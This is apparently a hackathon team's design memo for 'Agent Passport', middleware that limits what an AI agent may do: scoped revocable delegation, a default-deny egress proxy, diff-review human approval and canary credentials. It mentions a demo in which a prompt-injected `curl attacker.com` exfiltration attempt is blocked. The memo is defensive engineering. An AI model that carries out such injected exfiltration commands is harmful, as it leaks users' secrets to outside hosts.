

Agent Passport

Middleware proposal & judge-lens debate — TikTok Tech Jam · Agent Launchpad track · 30 Aug 2026

TL;DR

We already have detection and containment (canary tripwire, budget circuit-breaker, glass-box trace, HITL approval + kernel freeze). The biggest gap against the judging rubric is **identity and authorization** — we have zero coverage of one of the brief's headline middleware directions, and our current controls detect abuse after it happens rather than preventing it. Recommendation: build the “**Agent Passport**” story — (1) human-vs-agent principals with scoped, time-bound, revocable delegation tokens, (2) a default-deny egress allowlist that makes exfiltration fail closed, and (3) upgrade the HITL yes/no modal into a real diff-review approval by reusing codegraff's diff components. With the full team plus agent-assisted development we scale this to five parallel workstreams (section 4b) — adding trace→eval replay, cost-anomaly breakers, and a governed multi-agent fleet — under two hard rules: one policy engine, one correlated trace. One coherent narrative: *who* acts, *what* they may touch, *human gate* on writes.

1. Where we stand (already merged)

- **Canary exfiltration guardrail** — seeded credentials.env, blocks echo/exfil, redacts, auto-quarantines the agent.
- **Budget circuit-breaker** — token + duration watchdog, terminates the container, run fails with an explicit reason.
- **Glass-box trace** — live-streamed step.command / step.file_change / step.message cards, token + USD cost summary.
- **HITL approval + kernel-level freezing** — docker pause / SIGSTOP while awaiting operator decision.
- **Multi-session isolation, Gemini/OpenRouter adapter, 21 unit tests, typecheck green.**

This is a strong “Kill Switch” + partial “Glass Box” position. What it lacks is any answer to “who is the agent acting for, and what is it allowed to touch?” — the Bouncer track.

2. The judge's lens

Rubric: 40% end-to-end middleware behavior, 25% design & integration, 20% verification & robustness, 15% demo & reproducibility. The brief's own words: “put your capability where it changes real behavior — not only what the user sees.”

What reads as commodity vs. impressive in 2026 (from a sweep of current agent-infrastructure literature):

Commodity (low marks)	Genuinely impressive in 3 days
Basic tracing with spans and cost	Causal traces where a bad step visibly propagates; trace → replayable regression test
Yes/no approval modal	Policy-driven approval with reviewable diffs; approve the actual patch, not a boolean
Docker resource caps, ephemeral FS	Default-deny egress proxy per agent; injected exfil fails closed, live on stage
Login screen, static API keys	Scoped, time-bound delegation that verifiably expires or is revoked mid-run
Static spend caps	Rate-anomaly breaker with graceful degradation (downgrade model, don't just kill)

Industry consensus (IETF on-behalf-of-user draft, SPIFFE-for-agents writing, “lethal trifecta” prompt-injection framing): identity, per-action authorization, and enforced network boundaries are the open, unsolved middleware gaps. Teams that demonstrate **enforcement** — not dashboards — sit above the bar.

3. Recommended story: “Agent Passport”

Three capabilities, one narrative, layered on what we already merged:

3.1 — Agent identity & scoped delegation (the core)

- Separate **human principal** from **agent principal**. Mock User A / User B; an agent owned by A is denied B's resource **server-side** — this is verbatim the brief's acceptance example for the identity track.
- Time-boxed scoped grants: “read resource X for 30 minutes.” Tool calls carry the derived token; expiry or one-click revocation kills access **mid-run**, visible in the trace.
- Enforced at the AgentService boundary, decisions recorded through the existing policy engine — coherent extension, not a bolt-on.
- Maps directly to the optional-evidence bullet: “a delegated permission is scoped or revocable, enforced outside the UI, and demonstrated.”

3.2 — Default-deny egress allowlist (detection → prevention)

- Per-agent network allowlist enforced at the container/runtime boundary (proxy or network config).
- Demo: a prompt-injected `curl attacker.com` fails closed, raises a trace event, trips quarantine. Upgrades the canary from “we noticed the leak” to “the leak was impossible.”
- Twenty-second, visceral stage moment; the “lethal trifecta” framing gives judges the why.

3.3 — HITL diff-review approval (reuse teammate code)

- Copy codegraff's packages/diffs React components (PatchDiff, FilesChanged, word-level diff, syntax highlight) into the approval gate.
- Operator reviews the **actual file changes** before they apply to the workspace — turns our commodity yes/no modal into a reviewable action.
- Cheapest lift of the three (mostly UI reuse) with a large demo payoff; the briefing slides explicitly encouraged reusing this prior work.

Combined demo flow (fits 3 minutes)

1) User A creates an agent, grants a 30-minute read scope — normal run succeeds, trace shows principal + scope on every step. 2) Same agent tries User B's resource → denied server-side, decision in trace. 3) Injected exfil attempt → egress fails closed + canary quarantine. 4) Agent proposes a file change → operator approves the real diff → run completes. 5) Revoke the grant → the very next tool call dies mid-run. Every rubric row is hit; failure, denial, and recovery cases are all shown.

4. Full ranked list (debated)

#	Idea	Judge value	Effort	Verdict
1	Agent identity + scoped/revocable delegation	Fills our only empty headline track; literal acceptance example in brief	Med	Build — core
2	Default-deny egress allowlist proxy	Prevention over detection; visceral fail-closed demo	Med	Build — pair
3	HITL diff-review via codegraff packages/diffs	Commodity modal → reviewable action; encouraged code reuse	Low	Build — quick win

4	Trace → one-click regression eval (replay failed run)	Post-trace intelligence is frontier; feeds 20% verification row	Med	Build — workstream D
5	Cost attribution + rate-anomaly breaker w/ model downgrade	Incremental on existing breaker; graceful degradation impresses	Low–Med	Build — workstream D
6	Multi-agent coordination under governance (shared topic, per-agent principals, cross-agent trace)	Demo-toy alone; as a governed fleet it showcases identity + correlated tracing — the recognized frontier	Med–High	Build — workstream E

4b. Scaling up: parallel workstreams (large team + agent-assisted dev)

With several people (each running coding agents), we can build the full list — **if** we avoid the classic hackathon failure mode. The brief warns: “Breadth is not the goal.” Ambition must read as *deeper enforcement and tighter integration*, not more disconnected features. Two rules make that true:

- **Contract-first, day 1 morning:** freeze the shared types before splitting — Principal, Grant, PolicyDecision, TraceEvent (extend types.ts and run-policies.ts). Every workstream writes decisions through the one policy engine and emits into the one trace. No parallel stores, no second timeline.
- **One narrative, one demo:** every capability must appear in the same 3-minute story and the same trace view. If a feature needs its own separate demo detour, cut it.

WS	Scope	Owner boundary
A	Identity & delegation: principals, scoped time-bound grants, mid-run expiry/revocation, ownership denial	AgentService + API
B	Runtime enforcement: default-deny egress allowlist proxy, fail-closed exfil, quarantine wiring	Container runtime
C	HITL cockpit: diff-review approval (port codegraff packages/diffs), policy-driven approve/escalate/audit modes	Web UI + approval gate
D	Trace intelligence: snapshot failed run → replayable regression eval; per-tool cost attribution; rate-anomaly breaker with model downgrade	Trace store + runner
E	Governed fleet: shared topic + turn-taking (brief's 10→1 countdown), each agent a distinct principal with its own grant; one cross-agent correlated trace; timeout/retry rule	New coordinator service

Dependency order: A's contracts unblock everyone; B, C, D are independent after that; E consumes A + D and lands last. Priority if anything slips: A > B > C > D > E — the core Passport story must never be hostage to the fleet demo. Extended finale: three agents count down 10→1 in a shared topic, each turn attributed to its own principal in one correlated trace; mid-countdown we revoke one agent's grant — it drops out, the timeout rule recovers the turn, the countdown still completes. Denial, recovery, coordination, and attribution in one scene.

Why this scores: cross-agent correlated tracing and per-agent authorization between agents are exactly what current literature flags as the gap frameworks leave to the application — and we'd demo both with working enforcement.

5. Reuse from codedy / codegraff

- **codegraff packages/diffs** — PatchDiff.tsx, FilesChanged.tsx, wordDiff, highlight → approval cockpit (idea #3).
- **codedy registry.ts** — meta-tool registry with structured {error} dispatch → clean pattern for allowlisted, policy-gated tool dispatch.
- **codedy compaction.ts + recall** — session-memory governance if we extend multi-session work.
- **codegraff session.review()** — isolated read-only mode → model for a “safe lane” agent under a read-only grant.
- **relay-sdk (same author)** — multi-agent rooms for coding agents → reference design for workstream E's shared topic + turn-taking.

6. Risks & must-fix before submission

- **Provider mismatch:** brief and judges expect BytePlus ModelArk (ARK_API_KEY, ep- endpoint); our README now leads with Gemini/OpenRouter. Either keep the Ark path working, or explicitly frame the swap as provider-abstraction middleware (a listed valid direction) with adapters for both. Do not leave it as a silent deviation — judges clone and run.
- **npm run check must pass** — acceptance checklist item; keep tests growing with each capability (denial tests, expiry tests, egress-block tests).
- **No secrets anywhere** — source, git history, logs, traces, screenshots, demo output. The canary redaction helps; audit before recording the demo.
- **Baseline must keep working** — CRUD, lifecycle, Playground, persistence are graded table stakes.

7. Suggested split for the remaining days

Day	Goal (workstreams in parallel)	Exit evidence
1	AM: freeze shared contracts (Principal, Grant, PolicyDecision, TraceEvent). PM: A lands ownership denial; B spikes egress proxy; C ports diff components; D designs snapshot format; E scaffolds coordinator	API test proves A's agent denied B's resource; blocked curl in an integration test; contracts merged
2	A: expiry + revocation mid-run. B: fail-closed wiring + quarantine. C: diff approval live in gate. D: trace→eval replay + cost attribution. E: countdown over shared topic with per-agent principals	Passport flow end-to-end from browser; governed countdown runs with correlated cross-agent trace
3	Integration freeze by noon. Tests per workstream (denial, expiry, egress-block, replay, turn-taking); README + architecture diagram; rehearse combined demo; cut anything that breaks the single narrative	npm run check green; 3-minute demo rehearsed twice; priority order A>B>C>D>E enforced on slips

Sources behind the judge-lens section: OpenTelemetry GenAI semantic conventions status, IETF draft “OAuth for AI agents on behalf of a user”, SPIFFE-for-agents (Stacklok, HashiCorp), Scalekit HITL patterns, Northflank/amux sandboxing guides, the “lethal trifecta” prompt-injection framing, CaMeL paper, LiteLLM budget enforcement, TrueFoundry cost attribution.